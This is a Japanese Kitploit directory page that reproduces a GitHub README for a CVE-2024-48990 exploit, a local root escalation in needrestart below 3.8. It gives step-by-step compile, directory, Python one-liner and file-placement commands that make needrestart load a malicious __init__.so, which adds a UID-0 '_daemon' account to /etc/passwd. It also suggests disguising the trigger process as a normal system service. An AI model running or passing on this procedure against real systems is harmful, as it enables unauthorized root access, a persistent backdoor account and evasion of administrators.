Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-48990 — CVE-2024-48990 のエクスプロイト (needrestart < 3.8 におけるローカル特権昇格) | Kitploit
ツール/GitHubGitHub/ns989/cve-2024-48990
特権昇格脆弱性分析エクスプロイトペネトレーションテストレッドチーミング
GitHubns989/cve-2024-48990

CVE-2024-48990

CVE-2024-48990 のエクスプロイト (needrestart < 3.8 におけるローカル特権昇格)

リポジトリを見る
51年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-48990

Exploit for CVE-2024-48990 (Local Privilege Escalation in needrestart < 3.8)

背景

https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart を参照してください。Qualys が素晴らしい説明をしています。

TLDR;

needrestart バージョン 3.8 未満のシステムでは、ローカルユーザーがユーザーの操作なしに任意のコードを実行し、root に特権昇格できます。

Screenshot from 2024-11-21 20-07-48

エクスプロイト

現状のエクスプロイトは、sed コマンドを使用して /etc/passwd ファイルを編集し、"_daemon" という名前の新しいユーザーを UID/GID 0 (root) でシステムに追加します。パスワードはユーザー名と同じです。単一のコマンドを実行する共有ライブラリに過ぎないため、これをエクスプロイトと呼べるかどうかさえ疑問です。

自分でエクスプロイトをコンパイルするには、以下を実行してください:

gcc exploit.c -o exploit.so -shared -fPIC -s

1. エクスプロイトファイルを保存するディレクトリを作成します。作成するディレクトリには、"importlib" というサブディレクトリが必要です。

mkdir -p /tmp/.X11-Unix/importlib

2. エクスプロイトをトリガーするプロセスを起動します

任意の長時間実行する Python スクリプトを実行しても構いません。しかし、プロセスリストで不審に見えないように、起動と同時に停止する (そのため実際には何も実行しない) Python インタプリタを起動する以下のワンライナーを使用できます。

  • PYTHON - Python インタプリタへのパス

  • ARGV - プロセスリストに表示される文字列

  • PYPATH - 作成したディレクトリへのパス (importlib ディレクトリを含まない)

ARGV については、以下を確認してください:

  • Python インタプリタへのパスが ARGV の最初の引数であること

  • 2 番目の引数 (「スクリプト」) は、システム上に実際に存在するファイルであること (needrestart がこれをチェックします)。実際の Python スクリプトである必要はありません。

  • 2 番目の引数がすでに実行中のプロセスと同じではないこと (needrestart は既に確認した「キャッシュ」されたものを使用します)。

それ以外は、ARGV を自由に変更できます。通常のシステムプロセスのように見せかけてみてはいかがでしょうか?

PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'

3. エクスプロイトの共有オブジェクトを適切な場所に移動します

これは importlib ディレクトリ内にあり、"init.so" という名前である必要があります。

mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so

4. needrestart が処理を実行するのを待ちます

次回 needrestart が実行されるとき (例: apt によるアップデートや unattended-upgrades が起動するとき)、needrestart はプロセスの PYTHONPATH 変数を使って Python を実行し、init.so ファイルをロードして、それがコマンドを実行します。_damon:_daemon の認証情報でログインできるようになります。

エクスプロイトの動作を妨げる可能性があるもの

needrestart は完全に愚かではなく、プロセスをスキャンする際や脆弱なコード部分に入る前にいくつかのことをチェックします。

  • プロセスは実行中の Python スクリプトですか?そうでない場合、スキップされます (python -c プロセスはスキップされます)
  • プロセスは既に確認済みですか?別のプロセス (例: unattended-upgrade-shutdown や networkd-dispatcher) の完全なコピーは作成できません。作成するとスキップされます。
  • /etc/needrestart/needrestart.conf で "$nrconf{interpscan}" が "0" に設定されている場合、運が悪いです。
ツールをダウンロード